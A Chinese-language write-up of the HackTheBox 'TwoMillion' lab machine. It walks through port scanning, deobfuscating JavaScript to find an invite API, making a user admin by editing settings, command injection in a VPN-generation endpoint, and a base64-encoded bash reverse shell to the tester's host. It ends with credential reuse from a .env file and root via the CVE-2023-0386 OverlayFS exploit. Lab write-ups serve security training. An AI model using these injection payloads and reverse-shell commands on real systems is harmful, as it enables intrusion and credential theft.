HTB-TwoMillion 靶机笔记

简介: HTB-TwoMillion 靶机笔记

TwoMillion 靶机笔记
概述
HTB 上的一台 liunx 靶机,难度定为了简单级别,它包括了对 js 接口的信息收集,js 反混淆,未授权,越权,命令注入等漏洞。

一、nmap 扫描
1)端口扫描
nmap -sT --min-rate 10000 -p- -o ports 10.10.11.221
Nmap scan report for 10.10.11.221
Host is up (0.37s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2)详细信息
nmap -sT -sV -sC -p22,80 -O -o details 10.10.11.221
Nmap scan report for 10.10.11.221
Host is up (0.42s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_ 256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
看到 http-title: Did not follow redirect to http://2million.htb/,把 10.10.11.221 2million.htb 写到 /etc/hosts 里面

3)漏洞脚本
nmap --script=vuln -p22,80 -o vuln 10.10.11.221
Nmap scan report for 10.10.11.221
Host is up (1.1s latency).

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-passwd: ERROR: Script execution failed (use -d to debug)
|_http-vuln-cve2013-7091: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
看到目标机器开启了 20,80 端口

二、web 渗透
image-20241007183358723

打开后发现有两个接口可以访问 join 和 login。

image-20241007183912115

注册需要邀请码,正常的网页邀请码,肯定是由网站用户访问对应的生成接口而生成的。那么我们可以找到对应的接口,看看能不能越权生成一个邀请码

F12 打开 js 代码,看到整个网站也就三个 js 文件

image-20241007184334509

而 inviteapi.min.js 这个名字也挺令我们感兴趣的。它的名字就是 “邀请的接口” ,但是它做了混淆,我们可以放到 js 反混淆的解析网站上,解析一下。

de4js:https://lelinhtinh.github.io/de4js/

image-20241007184709587

function verifyInviteCode(code) {
var formData = {
"code": code
};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function (response) {
console.log(response)
},
error: function (response) {
console.log(response)
}
})
}

function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function (response) {
console.log(response)
},
error: function (response) {
console.log(response)
}
})
}
看到 verifyInviteCode 和 makeInviteCode 两个方法,他们都在方法里发送了 ajax 请求,我们可以用 curl 访问

curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"MDgzSVMtVURIMEItVFpQM08tUVZNMVg=","format":"encoded"}}
对返回的结果作处理

curl -X POST http://2million.htb/api/v1/invite/generate | jq .data.code -r |base64 -d
4QXYT-HU98B-GKSER-OVB0B
使用邀请码注册用户,登陆

image-20241007185536322

image-20241007185608953

成功登陆

image-20241007185707543
把能点的按钮都点了点,这个 Access 还是值得我们关注的,请用 burp 抓包

image-20241007190107741

看到它的请求是 /api 开头的,我们可以访问 /api 看看有没有其他的接口暴露给我们

image-20241007190237360

根据返回信息,访问 /api/v1

image-20241007190332261

看到有 json 数据,burp 里不好看,我们用命令行工具处理一下

curl http://2million.htb/api/v1 -b "PHPSESSID=8n4cd4rml2gut2a75j88pef57s" | jq .
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
看到有 admin 用户才能访问的接口,而且有一个修改数据的接口 /admin/settings/update,尝试把我们的普通用户越权修改为 admin

image-20241007190926241

添加头部 content-type:application/json

image-20241007191032984

添加参数 email:lingx5@test.com

image-20241007191138363

添加 is_admin:1

image-20241007191238932

成功实现越权修改,我们现在已经是 admin 权限了

可以访问 admin 用户才能访问的 /admin/vpn/generate 接口

curl -X POST http://2million.htb/api/v1/admin/vpn/generate -b "PHPSESSID=8n4cd4rml2gut2a75j88pef57s" -H 'content-type:application/json' -d '{"username":"lingx5"}'
根据提示一步步补齐参数,看到访问结果

[kod.pyjykj102.com)
[kod.001su.com)
[kod.003su.com)
[kod.weipujie.com)
[kod.whcn.net)
[kod.vscz.net)
[kod.w3c4.net)
尝试在 username 出命令注入

curl -X POST http://2million.htb/api/v1/admin/vpn/generate -b "PHPSESSID=8n4cd4rml2gut2a75j88pef57s" -H 'content-type:application/json' -d '{"username":"lingx5;whoami;"}'
www-data
执行成功了

三、获得立足点
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.41/4444 0>&1"'|base64
curl -X POST http://2million.htb/api/v1/admin/vpn/generate -b "PHPSESSID=8n4cd4rml2gut2a75j88pef57s" -H 'content-type:application/json' -d '{"username":"lingx5;echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40MS80NDQ0IDA+JjEiCg==|base64 -d | bash;"}'
sudo rlwrap nc -lvnp 4444
image-20241007192634247

ls -liah
total 56K
67892 drwxr-xr-x 10 root root 4.0K Oct 7 11:20 .
67891 drwxr-xr-x 3 root root 4.0K Jun 6 2023 ..
262194 -rw-r--r-- 1 root root 87 Jun 2 2023 .env
79498 -rw-r--r-- 1 root root 1.3K Jun 2 2023 Database.php
79502 -rw-r--r-- 1 root root 2.8K Jun 2 2023 Router.php
83002 drwxr-xr-x 5 root root 4.0K Oct 7 11:20 VPN
79512 drwxr-xr-x 2 root root 4.0K Jun 6 2023 assets
79508 drwxr-xr-x 2 root root 4.0K Jun 6 2023 controllers
79492 drwxr-xr-x 5 root root 4.0K Jun 6 2023 css
79506 drwxr-xr-x 2 root root 4.0K Jun 6 2023 fonts
79494 drwxr-xr-x 2 root root 4.0K Jun 6 2023 images
262199 -rw-r--r-- 1 root root 2.7K Jun 2 2023 index.php
79496 drwxr-xr-x 3 root root 4.0K Jun 6 2023 js
79510 drwxr-xr-x 2 root root 4.0K Jun 6 2023 views
看到 .env 文件

cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
看到了一组数据库的凭证 admin:SuperDuperPass123,尝试口令复用

www-data@2million:~/html$ su - admin
su - admin
Password: SuperDuperPass123

id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
whoami
admin
看到成功获得了 admin 的普通用户权限

四、提权到 root
查看属于 admin 用户的文件

find / -user admin -type f 2>/dev/null | grep -Ev "^/proc|^/run|^/sys"
/home/admin/.cache/motd.legal-displayed
/home/admin/.profile
/home/admin/.bash_logout
/home/admin/.bashrc
/var/mail/admin
看到有一封邮件

cat /var/mail/admin
From: ch4p ch4p@2million.htb
To: admin admin@2million.htb
Cc: g0blin g0blin@2million.htb
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: 9876543210@2million.htb
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather
提到了 OverlayFS,利用 google 快速了解一下

OverlayFS:https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/

覆盖文件系统(通常缩写为 OverlayFS)允许用户将多个挂载点 "合并 " 为一个统一的文件系统。

它出现过权限提升的漏洞

exploit:https://github.com/xkaneiki/CVE-2023-0386/

git clone https://github.com/xkaneiki/CVE-2023-0386.git
开启 http 服务,上传到目标机器上

wget -r http://10.10.14.41/CVE-2023-0386
image-20241007195616280

看到提示符已经变成了 root

总结
通过 nmap 扫描发现目标机器就开放了 22,80 端口,打开 80 端口的 web 服务,在 js 里找到了生成邀请码的接口,通过邀请码注册用户,登陆平台。通过访问/api/v1 找到了接口,进行越权。拿到 admin 权限,访问生成 vpn 的接口,发现了存在命令注入的参数,成功获得了 www-data 的立足点

在文件里看到 .env 文件,里面有一组数据库的凭证信息 admin: SuperDuperPass123 通过口令服用,我们成功拿到了 admin 用户的 shell。通过查看邮件,发现了 OverlayFS 这个可能的提权路径,通过 CVE-2023-0386 完成提权

相关文章
|
安全 Ubuntu Linux
CVE-2021-3560 Linux Polkit 权限提升漏洞
Polkit是默认安装在很多Linux发行版上的系统服务,它由systemd使用,因此任何使用systemd的Linux发行版也使用Polkit。
554 2
|
7月前
|
存储 机器学习/深度学习 缓存
Google DeepMind发布MoR架构:50%参数超越传统Transformer,推理速度提升2倍
递归混合架构(MoR)通过自适应令牌级计算机制,在降低参数与计算开销的同时超越传统Transformer性能,显著提升推理效率与内存管理,为大模型发展提供新方向。
451 0
Google DeepMind发布MoR架构:50%参数超越传统Transformer,推理速度提升2倍
|
8月前
|
存储 安全 Linux
Kali Linux 2025.2 发布 (Kali 菜单焕新、BloodHound CE 和 CARsenal) - 领先的渗透测试发行版
Kali Linux 2025.2 发布 (Kali 菜单焕新、BloodHound CE 和 CARsenal) - 领先的渗透测试发行版
485 0
|
11月前
|
存储 人工智能 人机交互
Multi-Agent Orchestrator:亚马逊开源AI智能体自动协作黑科技!重构人机交互逻辑,1秒精准分配任务
Multi-Agent Orchestrator 是亚马逊开源的多智能体框架,能够动态分配代理、维护上下文、支持多种代理类型,适用于客户服务、智能交通、物流配送等复杂场景。
609 9
Multi-Agent Orchestrator:亚马逊开源AI智能体自动协作黑科技!重构人机交互逻辑,1秒精准分配任务
|
缓存 安全 Linux
通过层级内隔离提升软件的安全性|龙蜥大讲堂第112期
本次分享的主题是通过层级内隔离提升软件的安全性,由中科院计算所的武成岗分享。主要分为以下两个部分: 1. 计算系统的安全关乎着整个“数字化”世界的安全 2. 目标:同时获取微内核的安全性和宏内核的高性能 3. 层级内隔离手段 4. 总结
453 12
|
JavaScript 前端开发 API
详解JS的URL()和URLSearchParams() API接口
详解JS的URL()和URLSearchParams() API接口
404 2
|
Linux iOS开发 MacOS
Matplotlib 教程 之 Matplotlib 中文显示 2
Matplotlib 中文显示教程:介绍如何在 Matplotlib 中显示中文,包括设置 Matplotlib 字体参数和下载支持中文的字体库。通过设置 `plt.rcParams['font.family']` 为系统中的中文字体(如 SimHei、WenQuanYi Micro Hei、Heiti TC),可以实现中文的正确显示。
487 0
|
Java 大数据 API
Java 流(Stream)、文件(File)和IO的区别
Java中的流(Stream)、文件(File)和输入/输出(I/O)是处理数据的关键概念。`File`类用于基本文件操作,如创建、删除和检查文件;流则提供了数据读写的抽象机制,适用于文件、内存和网络等多种数据源;I/O涵盖更广泛的输入输出操作,包括文件I/O、网络通信等,并支持异常处理和缓冲等功能。实际开发中,这三者常结合使用,以实现高效的数据处理。例如,`File`用于管理文件路径,`Stream`用于读写数据,I/O则处理复杂的输入输出需求。
805 12
|
SQL 安全 网络安全
GitHub点赞飙升!电信大牛的Python渗透测试实战指南
在网络安全领域,会不会编程,是区分“脚本小子”和真正黑客的关键。实际的渗透测试中会遇到各种复杂的网络环境,常用工具不一定能满足需求,这时就需要对现有工具进行扩展,或者编写符合要求的工具、自动化脚本,这都需要一定的编程能力。在分秒必争的 CTF 竞赛中,想要高效地使用自制脚本工具来达成各种目的,更是需要有编程能力。 Python 这两年越来越火!除了语法简单、开发效率高以外,Python 最大的优势就是拥有超多第三方库。很多有名的网络安全工具和安全系统框架都是用 Python 开发的!所以,掌握 Python 编程已经成为网络安全从业者的必备技能之一。如果你想成为一名合格的安全从业者,就不能只会
|
算法 C++
【动态规划】零基础解决路径问题(C++)
【动态规划】零基础解决路径问题(C++)

热门文章

最新文章